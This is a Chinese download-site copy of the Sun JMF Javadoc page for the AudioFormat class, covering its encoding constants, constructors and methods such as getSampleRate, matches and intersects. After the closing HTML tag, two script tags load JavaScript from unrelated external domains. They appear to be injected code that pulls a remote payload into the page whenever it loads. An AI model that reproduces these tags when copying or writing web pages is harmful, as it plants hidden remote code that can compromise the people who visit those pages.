⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 audioformat.html

📁 JMF原版英文说明文档
💻 HTML
📖 第 1 页 / 共 4 页
字号:
<PRE>public static final java.lang.String <B>MSRT24</B></PRE><DL></DL><HR><A NAME="MPEG"><!-- --></A><H3>MPEG</H3><PRE>public static final java.lang.String <B>MPEG</B></PRE><DL></DL><HR><A NAME="MPEG_RTP"><!-- --></A><H3>MPEG_RTP</H3><PRE>public static final java.lang.String <B>MPEG_RTP</B></PRE><DL></DL><HR><A NAME="DOLBYAC3"><!-- --></A><H3>DOLBYAC3</H3><PRE>public static final java.lang.String <B>DOLBYAC3</B></PRE><DL></DL><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="AudioFormat(java.lang.String)"><!-- --></A><H3>AudioFormat</H3><PRE>public <B>AudioFormat</B>(java.lang.String&nbsp;encoding)</PRE><DL><DD>Constructs an <CODE>AudioFormat</CODE> with the specified encoding type.<DD><DL><DT><B>Parameters:</B><DD><CODE>encoding</CODE> - The audio encoding type.</DL></DD></DL><HR><A NAME="AudioFormat(java.lang.String, double, int, int)"><!-- --></A><H3>AudioFormat</H3><PRE>public <B>AudioFormat</B>(java.lang.String&nbsp;encoding,                   double&nbsp;sampleRate,                   int&nbsp;sampleSizeInBits,                   int&nbsp;channels)</PRE><DL><DD>Constructs an <CODE>AudioFormat</CODE> with the specified attributes.<DD><DL><DT><B>Parameters:</B><DD><CODE>encoding</CODE> - A <CODE>String</CODE> that describes the encoding type  for this  <CODE>AudioFormat</CODE>.<DD><CODE>sampleRate</CODE> - The sample rate.<DD><CODE>sampleSizeInBits</CODE> - The sample size in bits.<DD><CODE>channels</CODE> - The number of channels as an integer.  For example, 1 for mono, 2 for stereo.</DL></DD></DL><HR><A NAME="AudioFormat(java.lang.String, double, int, int, int, int)"><!-- --></A><H3>AudioFormat</H3><PRE>public <B>AudioFormat</B>(java.lang.String&nbsp;encoding,                   double&nbsp;sampleRate,                   int&nbsp;sampleSizeInBits,                   int&nbsp;channels,                   int&nbsp;endian,                   int&nbsp;signed)</PRE><DL><DD>Constructs an <CODE>AudioFormat</CODE>  with the specified attributes.<DD><DL><DT><B>Parameters:</B><DD><CODE>encoding</CODE> - A <CODE>String</CODE> that describes the encoding  type for this  <CODE>AudioFormat</CODE>.<DD><CODE>sampleRate</CODE> - The sample rate.<DD><CODE>sampleSizeInBits</CODE> - The sample size in bits.<DD><CODE>channels</CODE> - The number of channels.<DD><CODE>endian</CODE> - The sample byte ordering used for this  <code>AudioFormat</code>--<CODE>BIG_ENDIAN</CODE> or <CODE>LITTLE_ENDIAN</CODE>.<DD><CODE>signed</CODE> - Indicates whether the samples are stored in a signed or unsigned  format. Specify <CITE><CODE>true</CODE></CITE>  if the <code>AudioFormat</code> is signed, <CODE>false</CODE> if the  <code>AudioFormat</code> is unsigned.</DL></DD></DL><HR><A NAME="AudioFormat(java.lang.String, double, int, int, int, int, int, double, java.lang.Class)"><!-- --></A><H3>AudioFormat</H3><PRE>public <B>AudioFormat</B>(java.lang.String&nbsp;encoding,                   double&nbsp;sampleRate,                   int&nbsp;sampleSizeInBits,                   int&nbsp;channels,                   int&nbsp;endian,                   int&nbsp;signed,                   int&nbsp;frameSizeInBits,                   double&nbsp;frameRate,                   java.lang.Class&nbsp;dataType)</PRE><DL><DD>Constructs an <CODE>AudioFormat</CODE> with the specified attributes.<DD><DL><DT><B>Parameters:</B><DD><CODE>encoding</CODE> - A <CODE>String</CODE> that describes the encoding type  for this  <CODE>AudioFormat</CODE>.<DD><CODE>sampleRate</CODE> - The sample rate.<DD><CODE>sampleSizeInBits</CODE> - The sample size.<DD><CODE>channels</CODE> - The number of channels.<DD><CODE>endian</CODE> - The sample byte ordering used for this  <code>AudioFormat</code>--<CODE>BIG_ENDIAN</CODE> or <CODE>LITTLE_ENDIAN</CODE>.<DD><CODE>signed</CODE> - Indicates whether the samples are stored in a signed or unsigned  format. Specify <CITE><CODE>true</CODE></CITE>  if the <code>AudioFormat</code> is signed, <CODE>false</CODE> if the  <code>AudioFormat</code> is unsigned.<DD><CODE>frameSizeInBits</CODE> - The frame size.<DD><CODE>frameRate</CODE> - The frame rate.<DD><CODE>dataType</CODE> - The type of the data. For example, byte array.</DL></DD></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getSampleRate()"><!-- --></A><H3>getSampleRate</H3><PRE>public double <B>getSampleRate</B>()</PRE><DL><DD>Gets the audio sample rate.<DD><DL><DT><B>Returns:</B><DD>The sample rate.</DL></DD></DL><HR><A NAME="getSampleSizeInBits()"><!-- --></A><H3>getSampleSizeInBits</H3><PRE>public int <B>getSampleSizeInBits</B>()</PRE><DL><DD>Gets the size of a sample.<DD><DL><DT><B>Returns:</B><DD>The sample size in bits.</DL></DD></DL><HR><A NAME="getChannels()"><!-- --></A><H3>getChannels</H3><PRE>public int <B>getChannels</B>()</PRE><DL><DD>Gets the number of channels.<DD><DL><DT><B>Returns:</B><DD>The number of channels as an integer.</DL></DD></DL><HR><A NAME="getEndian()"><!-- --></A><H3>getEndian</H3><PRE>public int <B>getEndian</B>()</PRE><DL><DD>Gets an integer that indicates whether the sample byte order is big endian  or little endian.<DD><DL><DT><B>Returns:</B><DD>The sample byte order of this <code>AudioFormat</code>,  <CODE>BIG_ENDIAN</CODE> or <CODE>LITTLE_ENDIAN</CODE>.</DL></DD></DL><HR><A NAME="getSigned()"><!-- --></A><H3>getSigned</H3><PRE>public int <B>getSigned</B>()</PRE><DL><DD>Gets a boolean that indicates whether the samples are stored in signed format or an unsigned format.<DD><DL><DT><B>Returns:</B><DD><CODE>SIGNED</CODE> if this <CODE>VideoFormat</CODE>  is signed,  <CODE>UNSIGNED</CODE> if it is not.</DL></DD></DL><HR><A NAME="getFrameSizeInBits()"><!-- --></A><H3>getFrameSizeInBits</H3><PRE>public int <B>getFrameSizeInBits</B>()</PRE><DL><DD>Gets the frame size of this <code>AudioFormat</code>. This method is  used primarily  for compressed audio.<DD><DL><DT><B>Returns:</B><DD>The frame size of this <code>AudioFormat</code> in bits.</DL></DD></DL><HR><A NAME="getFrameRate()"><!-- --></A><H3>getFrameRate</H3><PRE>public double <B>getFrameRate</B>()</PRE><DL><DD>Gets the frame rate of this <code>AudioFormat</code>.<DD><DL><DT><B>Returns:</B><DD>The frame rate.</DL></DD></DL><HR><A NAME="computeDuration(long)"><!-- --></A><H3>computeDuration</H3><PRE>public long <B>computeDuration</B>(long&nbsp;length)</PRE><DL><DD>Returns the duration of the media based on the given length  of the data.<DD><DL><DT><B>Parameters:</B><DD><CODE>length</CODE> - length of the data in this format.<DT><B>Returns:</B><DD>the duration in nanoseconds computed from the length of  the data in this format.  Returns -1 if the duration cannot be computed.</DL></DD></DL><HR><A NAME="toString()"><!-- --></A><H3>toString</H3><PRE>public java.lang.String <B>toString</B>()</PRE><DL><DD>Gets a <CODE>String</CODE> representation of the attributes of this  <code>AudioFormat</code>. For example: "PCM, 44.1 KHz, Stereo, Signed".<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#toString()">toString</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL></DD><DD><DL><DT><B>Returns:</B><DD>A <CODE>String</CODE> that describes the <code>AudioFormat</code>  attributes.</DL></DD></DL><HR><A NAME="equals(java.lang.Object)"><!-- --></A><H3>equals</H3><PRE>public boolean <B>equals</B>(java.lang.Object&nbsp;format)</PRE><DL><DD>Compares the specified <CODE>Format</CODE> with this <code>AudioFormat</code>.  Returns <CODE>true</CODE>  only if the specified <CODE>Format</CODE> is an <CODE>AudioFormat</CODE> and  all of its attributes are identical to this <code>AudioFormat</code>.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#equals(java.lang.Object)">equals</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>format</CODE> - The <CODE>Format</CODE> to compare with this one.<DT><B>Returns:</B><DD><CODE>true</CODE> if the specified <CODE>Format</CODE> is the same,  <CODE>false</CODE> if it is not.</DL></DD></DL><HR><A NAME="matches(javax.media.Format)"><!-- --></A><H3>matches</H3><PRE>public boolean <B>matches</B>(<A HREF="../../../javax/media/Format.html">Format</A>&nbsp;format)</PRE><DL><DD>Checks whether or not the specified <CODE>Format</CODE> <EM>matches</EM>  this <CODE>AudioFormat</CODE>. Matches only compares the attributes that are defined in the specified  <CODE>Format</CODE>,  unspecified attributes are ignored. <p> The two <CODE>Format</CODE> objects do not have to be of the same class to  match.  For example, if "A" are "B" are being compared, a match is possible if "A" is derived from "B" or "B" is derived from "A". (The compared attributes must still match, or  <CODE>matches</CODE> fails.)<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#matches(javax.media.Format)">matches</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>format</CODE> - The <CODE>Format</CODE> to compare with this one.<DT><B>Returns:</B><DD><CODE>true</CODE> if the specified <CODE>Format</CODE> matches this one,  <CODE>false</CODE> if it does not.</DL></DD></DL><HR><A NAME="intersects(javax.media.Format)"><!-- --></A><H3>intersects</H3><PRE>public <A HREF="../../../javax/media/Format.html">Format</A> <B>intersects</B>(<A HREF="../../../javax/media/Format.html">Format</A>&nbsp;format)</PRE><DL><DD>Finds the attributes shared by two matching <CODE>Format</CODE> objects. If the specified <CODE>Format</CODE> does not match this one, the result is undefined.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#intersects(javax.media.Format)">intersects</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>The</CODE> - matching <CODE>Format</CODE> to intersect with this  <CODE>AudioFormat</CODE>.<DT><B>Returns:</B><DD>A <CODE>Format</CODE> object with its attributes set to those attributes common to both  <CODE>Format</CODE> objects.<DT><B>See Also: </B><DD><A HREF="../../../javax/media/format/AudioFormat.html#matches(javax.media.Format)"><CODE>matches(javax.media.Format)</CODE></A></DL></DD></DL><HR><A NAME="clone()"><!-- --></A><H3>clone</H3><PRE>public java.lang.Object <B>clone</B>()</PRE><DL><DD>Creates a clone of this <code>AudioFormat</code> by copying each  field to the clone.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#clone()">clone</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL></DD><DD><DL><DT><B>Returns:</B><DD>A clone of this <code>AudioFormat</code>.</DL></DD></DL><HR><A NAME="copy(javax.media.Format)"><!-- --></A><H3>copy</H3><PRE>protected void <B>copy</B>(<A HREF="../../../javax/media/Format.html">Format</A>&nbsp;f)</PRE><DL><DD>Copies the attributes from the specified  <CODE>Format</CODE> into this <CODE>AudioFormat</CODE>.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/Format.html#copy(javax.media.Format)">copy</A> in class <A HREF="../../../javax/media/Format.html">Format</A></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>f</CODE> - The <CODE>Format</CODE> to copy the attributes from.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;PREV CLASS&nbsp;&nbsp;<A HREF="../../../javax/media/format/FormatChangeEvent.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="AudioFormat.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -